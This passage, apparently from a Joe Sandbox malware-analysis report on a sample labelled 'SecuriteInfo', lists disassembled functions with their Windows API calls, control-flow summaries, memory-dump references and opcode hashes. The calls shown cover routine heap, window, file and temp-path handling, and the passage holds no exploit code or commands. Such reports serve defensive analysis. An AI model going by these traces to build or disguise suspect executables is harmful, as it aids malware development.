                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Handle$Close$CreateCriticalSectionstrcat$PipeProcessstrcpystrlen$CurrentEnterHeapLeaveObjectSingleWaitmemset$AllocDuplicateExecuteFreeShell
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3717557180-0
                                                                                                                                                                                                                                                                    • Opcode ID: 019010a7fc2a02dbeae17fb305f3ac8572ec705bee31881983844423c457cd93
                                                                                                                                                                                                                                                                    • Instruction ID: d56cd57d605c43d97517b202d3e497b1ce26194db25e4d145f682e82c309ab96
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 019010a7fc2a02dbeae17fb305f3ac8572ec705bee31881983844423c457cd93
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E1E138B28002499FDF219FA5CC84A9E3BE8FF44354F14453AFA25A32A1D779D844CF98
                                                                                                                                                                                                                                                                    Function 00408A23 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 62registrywindowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 00408A34
                                                                                                                                                                                                                                                                    • RegisterClassA.USER32(?), ref: 00408A6E
                                                                                                                                                                                                                                                                    • CreateWindowExA.USER32(00000000,PostEventClass,00000000,00C00000,00000000,00000000,00000001,00000001,00000000,00000000,00000000), ref: 00408A8B
                                                                                                                                                                                                                                                                    • RegisterWindowMessageA.USER32(PB_PostEventMessage), ref: 00408A9B
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A26A: HeapAlloc.KERNEL32(00000008,004089FA,00000000,00408AB7,00000028,004089FA,00408A17), ref: 0040A277
                                                                                                                                                                                                                                                                      • Part of subcall function 00408F12: HeapAlloc.KERNEL32(00000000,0000003C,@@,PostEventClass,00000000,?,?,00408AD0,00000008,00000007,00000000,0040E740,00000400,00000028,004089FA,00408A17), ref: 00408F32
                                                                                                                                                                                                                                                                      • Part of subcall function 00408F12: RtlAllocateHeap.NTDLL(00000008,00000000,?,?,00408AD0,00000008,00000007), ref: 00408F5A
                                                                                                                                                                                                                                                                      • Part of subcall function 00408F12: HeapAlloc.KERNEL32(00000008,00000000,004089F2,00000010,00010000,00000004,00000400,?,?,00408AD0,00000008,00000007), ref: 00408FBF
                                                                                                                                                                                                                                                                    • InitializeCriticalSection.KERNEL32(0040E8D0,00000000,0040E740,00000400,00000028,004089FA,00408A17), ref: 00408AE4
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Heap$Alloc$RegisterWindow$AllocateClassCreateCriticalInitializeMessageSectionmemset
                                                                                                                                                                                                                                                                    • String ID: PB_PostEventMessage$PostEventClass
                                                                                                                                                                                                                                                                    • API String ID: 3870892101-297677326
                                                                                                                                                                                                                                                                    • Opcode ID: 34ed96b3796f3b3e7327ad6f5fce7ae41c6e67e09d8ff496637049dae7488db7
                                                                                                                                                                                                                                                                    • Instruction ID: 81ffe55d1991c805f1a3c84ee18699e942d5589fd0a04a14e99875fc41384a33
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 34ed96b3796f3b3e7327ad6f5fce7ae41c6e67e09d8ff496637049dae7488db7
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 011160B1D51214AACB10AB92AD09FCB7FB8EB45754F10843BF544B71D0C7B84144CB99
                                                                                                                                                                                                                                                                    Function 0040812D Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 39libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 0040ADE0: HeapReAlloc.KERNEL32(02640000,00000000,02640808,00004047,00000000,00000000), ref: 0040AE27
                                                                                                                                                                                                                                                                    • GetTempPathA.KERNEL32(00000104,00000000,00000104,00000007,?,?,?,00000000,004032BB,00000400,00000000,00000000,00000000,00000000,00401377,OPSX), ref: 00408144
                                                                                                                                                                                                                                                                    • LoadLibraryA.KERNEL32(Kernel32.DLL,?,?,?,00000000,004032BB,00000400,00000000,00000000,00000000,00000000,00401377,OPSX,0040E438,00000000,00000000), ref: 00408151
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 00408163
                                                                                                                                                                                                                                                                    • GetLongPathNameA.KERNELBASE(00000000,00000000,00000104,?,?,?,00000000,004032BB,00000400,00000000,00000000,00000000,00000000,00401377,OPSX,0040E438), ref: 00408170
                                                                                                                                                                                                                                                                    • FreeLibrary.KERNEL32(00000000,?,?,?,00000000,004032BB,00000400,00000000,00000000,00000000,00000000,00401377,OPSX,0040E438,00000000,00000000), ref: 00408175
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: LibraryPath$AddressAllocFreeHeapLoadLongNameProcTemp
                                                                                                                                                                                                                                                                    • String ID: GetLongPathNameA$Kernel32.DLL
                                                                                                                                                                                                                                                                    • API String ID: 3547342574-822094646
                                                                                                                                                                                                                                                                    • Opcode ID: ecc6dfbe8419497177ab4301afa74b13cb623a2a1f5e774e8f6937461df1b27a
                                                                                                                                                                                                                                                                    • Instruction ID: 78243f1284f8d9f769da9d9fa800824695ac661d66a345ca5cad6bd69337368b
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ecc6dfbe8419497177ab4301afa74b13cb623a2a1f5e774e8f6937461df1b27a
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6CF05E726012556BD2222BB55D8CE6B3E6CDF86755B00053AB905B7281DA784C05C6BD
                                                                                                                                                                                                                                                                    Function 00408F12 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 75memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 569 408f12-408f38 call 4091e3 HeapAlloc 572 408f3e-408f42 569->572 573 408fdf-408fe5 569->573 574 408f44 572->574 575 408f4b-408f63 RtlAllocateHeap 572->575 574->575 576 408f65-408f93 call 40afcc 575->576 577 408fcf-408fdd HeapFree 575->577 580 408f95 576->580 581 408f99-408fcd call 40a2a5 HeapAlloc 576->581 577->573 580->581 581->573
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 004091E3: HeapFree.KERNEL32(00000000,?,?,00000028,PostEventClass,00000000,?,00408F22,@@,PostEventClass,00000000,?,?,00408AD0,00000008,00000007), ref: 0040920E
                                                                                                                                                                                                                                                                      • Part of subcall function 004091E3: HeapFree.KERNEL32(00000000,?,?,00408F22,@@,PostEventClass,00000000,?,?,00408AD0,00000008,00000007,00000000,0040E740,00000400,00000028), ref: 0040921A
                                                                                                                                                                                                                                                                      • Part of subcall function 004091E3: HeapFree.KERNEL32(00000000,?,@@,?,00408F22,@@,PostEventClass,00000000,?,?,00408AD0,00000008,00000007,00000000,0040E740,00000400), ref: 0040922E
                                                                                                                                                                                                                                                                      • Part of subcall function 004091E3: HeapFree.KERNEL32(00000000,00000028,?,00408F22,@@,PostEventClass,00000000,?,?,00408AD0,00000008,00000007,00000000,0040E740,00000400,00000028), ref: 00409244
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(00000000,0000003C,@@,PostEventClass,00000000,?,?,00408AD0,00000008,00000007,00000000,0040E740,00000400,00000028,004089FA,00408A17), ref: 00408F32
                                                                                                                                                                                                                                                                    • RtlAllocateHeap.NTDLL(00000008,00000000,?,?,00408AD0,00000008,00000007), ref: 00408F5A
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(00000008,00000000,004089F2,00000010,00010000,00000004,00000400,?,?,00408AD0,00000008,00000007), ref: 00408FBF
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(00000000,00000000,?,?,00408AD0,00000008,00000007), ref: 00408FD7
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Heap$Free$Alloc$Allocate
                                                                                                                                                                                                                                                                    • String ID: @@$PostEventClass
                                                                                                                                                                                                                                                                    • API String ID: 2693377920-3486380172
                                                                                                                                                                                                                                                                    • Opcode ID: b6b457ba42f8cf11fde9bde58553b7c1dd45b281c57e7c9ad5d79b34e3a1f9c2
                                                                                                                                                                                                                                                                    • Instruction ID: 9a701e720bfc376920ae71b639e2e2072b341617ff99bebe9de96d13dcc7a929
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b6b457ba42f8cf11fde9bde58553b7c1dd45b281c57e7c9ad5d79b34e3a1f9c2
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: AF2126B0600705AFD7209F6ADE41B47BBE4FB18750F00493EF989E7690D7B0E8508B98
                                                                                                                                                                                                                                                                    Function 0040529C Relevance: 7.5, APIs: 6, Instructions: 34COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 624 40529c-4052b1 CloseHandle 625 4052b3-4052b4 CloseHandle 624->625 626 4052b6-4052bb 624->626 625->626 627 4052c0-4052c5 626->627 628 4052bd-4052be CloseHandle 626->628 629 4052c7-4052c8 CloseHandle 627->629 630 4052ca-4052ec EnterCriticalSection call 40a88d LeaveCriticalSection 627->630 628->627 629->630
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • CloseHandle.KERNELBASE(00000000,?,?,00401F4F,00000005,00000044,b2etempfile,b2eincfilecount,00000001,00000000,00000000,00000000,b2eincfilepath,0040E4C4,b2eprogramshortname,00000000), ref: 004052AA
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,00401F4F,00000005,00000044,b2etempfile,b2eincfilecount,00000001,00000000,00000000,00000000,b2eincfilepath,0040E4C4,b2eprogramshortname,00000000), ref: 004052B4
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,00401F4F,00000005,00000044,b2etempfile,b2eincfilecount,00000001,00000000,00000000,00000000,b2eincfilepath,0040E4C4,b2eprogramshortname,00000000), ref: 004052BE
                                                                                                                                                                                                                                                                    • CloseHandle.KERNEL32(?,?,?,00401F4F,00000005,00000044,b2etempfile,b2eincfilecount,00000001,00000000,00000000,00000000,b2eincfilepath,0040E4C4,b2eprogramshortname,00000000), ref: 004052C8
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(0040E7B4,?,?,00401F4F,00000005,00000044,b2etempfile,b2eincfilecount,00000001,00000000,00000000,00000000,b2eincfilepath,0040E4C4,b2eprogramshortname,00000000), ref: 004052D0
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(0040E7B4,?,?,00401F4F,00000005,00000044,b2etempfile,b2eincfilecount,00000001,00000000,00000000,00000000,b2eincfilepath,0040E4C4,b2eprogramshortname,00000000), ref: 004052E4
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CloseHandle$CriticalSection$EnterLeave
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 10009202-0
                                                                                                                                                                                                                                                                    • Opcode ID: 5fc03150739d679db64c64f99e0d3b7f60fbcdbd1bf222d8b79dcb3f65ca1ce4
                                                                                                                                                                                                                                                                    • Instruction ID: 19a6337bb71183dc770021fb8d3c1380ad937f31aaa8588bf1c51bd984b48d59
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5fc03150739d679db64c64f99e0d3b7f60fbcdbd1bf222d8b79dcb3f65ca1ce4
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 04F01236600700ABD620AB7BDC48D5BB7ECEE95760315483FF451F32A0DB78E8058E69
                                                                                                                                                                                                                                                                    Function 004088B0 Relevance: 6.1, APIs: 4, Instructions: 105COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 633 4088b0-4088c3 634 4088e5-4088ee 633->634 635 4088c5-4088e2 SetFilePointer 633->635 636 4088f0-4088fb 634->636 637 40895a-408965 call 408310 634->637 635->634 639 408947-408957 636->639 640 4088fd-4088fe 636->640 644 408987-4089a6 memcpy 637->644 645 408967-408984 WriteFile 637->645 642 408900-408903 640->642 643 408932-408944 640->643 646 408905-40891c memcpy 642->646 647 40891f-40892f 642->647
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • SetFilePointer.KERNELBASE(?,?,00000000,00000001,?,00000000,?,00408862,00000000,0040C1DC,00000002), ref: 004088D2
                                                                                                                                                                                                                                                                    • memcpy.MSVCRT(?,?,?,?,00000000,?,00408862,00000000,0040C1DC,00000002), ref: 0040890C
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: FilePointermemcpy
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1104741977-0
                                                                                                                                                                                                                                                                    • Opcode ID: 359b32252ab061d28bb86c0e4817bf412a10a0fbcb3cbf56c37f98cc02a6241d
                                                                                                                                                                                                                                                                    • Instruction ID: c368d2eedcd334ef838c64167b00b055d14bcc37ed9bcbc1046142b3c32637c1
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 359b32252ab061d28bb86c0e4817bf412a10a0fbcb3cbf56c37f98cc02a6241d
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0A316C763006019FC224DF1AD544E6BF7E9EFD4721F14C92EE59693B90C634A844CB66
                                                                                                                                                                                                                                                                    Function 004033C5 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 260COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 00408640: CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,02661950,?,?,?,02661DB0,00000000,00403556,00000001,?), ref: 0040866D
                                                                                                                                                                                                                                                                      • Part of subcall function 00408640: HeapAlloc.KERNEL32(02660000,00000000,00001000,?,?,02661DB0,00000000,00403556,00000001,?,?,00000000), ref: 00408690
                                                                                                                                                                                                                                                                    • RemoveDirectoryA.KERNEL32(00000024,?,0040D14C,?,?,?,0040D023), ref: 004037AE
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AllocCreateDirectoryFileHeapRemove
                                                                                                                                                                                                                                                                    • String ID: $b2eincfile
                                                                                                                                                                                                                                                                    • API String ID: 1077865937-1895026289
                                                                                                                                                                                                                                                                    • Opcode ID: d515f63e63ded4e03ec3b99f5deecf1177d31a4fb23654737f015668c401211c
                                                                                                                                                                                                                                                                    • Instruction ID: b2bcc82296ec73550174e0babf59c0cdd45ce8487e987afc268bdec9ca68e4d8
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d515f63e63ded4e03ec3b99f5deecf1177d31a4fb23654737f015668c401211c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B8A13C75108301AFE704EF62DD8191A7BA5FB88308F108C3EF554772A2C73999A59B5B
                                                                                                                                                                                                                                                                    Function 00408570 Relevance: 4.6, APIs: 3, Instructions: 79filememoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 771 408570-4085ab call 40a135 CreateFileA 774 4085c6-4085ca 771->774 775 4085ad-4085c4 CreateFileA 771->775 776 408619-40861e 774->776 777 4085cc-4085d3 774->777 775->774 775->776 778 408620-408628 call 40a1df 776->778 779 40862d-408633 776->779 780 4085d5-4085e7 HeapAlloc 777->780 781 4085e9 777->781 778->779 782 4085ec-408605 780->782 781->782 784 408610-408616 782->784 785 408607-40860d 782->785
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • CreateFileA.KERNELBASE(0040D278,C0000000,00000001,00000000,00000002,00000080,00000000,02661950,00000000,?,?,?,00000000,00401B7C,00000001,0040E458), ref: 004085A4
                                                                                                                                                                                                                                                                    • CreateFileA.KERNEL32(0040D278,40000000,00000001,00000000,00000005,00000000,00000000,?,?,?,00000000,00401B7C,00000001,0040E458,0040D08B,DFI), ref: 004085BD
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(02660000,00000000,00001000,?,?,?,00000000,00401B7C,00000001,0040E458,0040D08B,DFI,0040E40C,00000000,00000000,0040E454), ref: 004085DE
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CreateFile$AllocHeap
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2009486018-0
                                                                                                                                                                                                                                                                    • Opcode ID: 8811d227602999b1e142fe8fd5c9c76fd3db5eba3f51af0402a74965479f2ae7
                                                                                                                                                                                                                                                                    • Instruction ID: 1583007b335d6902e06cf1ca7bd8d9ca47002b5f8cac10beb718adc5edeb7097
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8811d227602999b1e142fe8fd5c9c76fd3db5eba3f51af0402a74965479f2ae7
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3F2196727003117BD220AFA9AD85F57B798E784775F108B3EF6A0B72C0C675AC548768
                                                                                                                                                                                                                                                                    Function 004081CA Relevance: 4.5, APIs: 3, Instructions: 37stringCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 786 4081ca-4081d7 787 4081d9-408207 strncpy strlen 786->787 788 40823a 786->788 789 40821c-408224 787->789 790 40823c-40823d 788->790 791 408226-408238 CreateDirectoryA 789->791 792 408209-40820f 789->792 791->790 793 408211-408214 792->793 794 40821b 792->794 793->794 795 408216-408219 793->795 794->789 795->791 795->794
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CreateDirectorystrlenstrncpy
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2535372781-0
